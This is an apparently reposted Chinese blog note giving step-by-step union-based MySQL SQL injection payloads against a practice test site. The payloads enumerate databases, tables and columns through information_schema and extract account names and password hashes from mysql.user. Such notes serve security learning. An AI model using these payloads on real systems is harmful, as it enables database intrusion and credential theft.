博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
mysql数据库
阅读量:2062 次
发布时间:2019-04-29

本文共 856 字,大约阅读时间需要 2 分钟。

测试点

https://webscantest.com/datastore/search_get_by_id.php?id=3 

    数据库 information_schema

            columns表格 第二列是table_schema数据库名 第三列是table_name表名 第四列是column_name表格的列名

    函数 group_concat 分组 concat 分组 distinct 去重

  1. 数字型 and 1=1 后 and 1=2
  2. 判断列数多少 and order by X
  3. 根据回显 判断基本信息 union all select 1,2,concat(user(),0x20,version(),0x20,database()),4 --
  4. 数据库名 union all select 1,2,3,group_concat(distinct table_schema) from+information_schema.columns--
  5. 表名 union all select 1,2,group_concat(distinct table_name),4 from information_schema.tables where table_schema=database()--
  6. 字段名  union all select 1,2,group_concat(distinct column_name),4 from information_schema.columns where table_name=hex(表名)
  7. 账户 union all select 1,2,3,group_concat(distinct user) from mysql.user;
  8. 密码 union all select 1,2,3,authentication_string  from mysql.user where user=username;

#注 数据库mysql存放私有信息表格是user 里面含有用户私有内容

转载地址:http://szelf.baihongyu.com/

你可能感兴趣的文章
关于“团队建设”的反思
查看>>
利用jekyll在github中搭建博客
查看>>
Windows7中IIS简单安装与配置(详细图解)
查看>>
linux基本命令
查看>>
BlockQueue 生产消费 不需要判断阻塞唤醒条件
查看>>
ExecutorService 线程池 newFixedThreadPool newSingleThreadExecutor newCachedThreadPool
查看>>
强引用 软引用 弱引用 虚引用
查看>>
数据类型 java转换
查看>>
"NetworkError: 400 Bad Request - http://172.16.47.117:8088/rhip/**/####t/approval?date=976
查看>>
mybatis 根据 数据库表 自动生成 实体
查看>>
win10将IE11兼容ie10
查看>>
checkbox设置字体颜色
查看>>
第一篇 HelloWorld.java重新学起
查看>>
ORACLE表空间扩张
查看>>
orcal 循环执行sql
查看>>
web.xml配置监听器,加载数据库信息配置文件ServletContextListener
查看>>
结构型模式之桥接模式(Bridge)
查看>>
行为型模式之状态模式(State)
查看>>
行为型模式之策略模式(Strategy)
查看>>
行为型模式之模板方法模式(TemplateMethod)
查看>>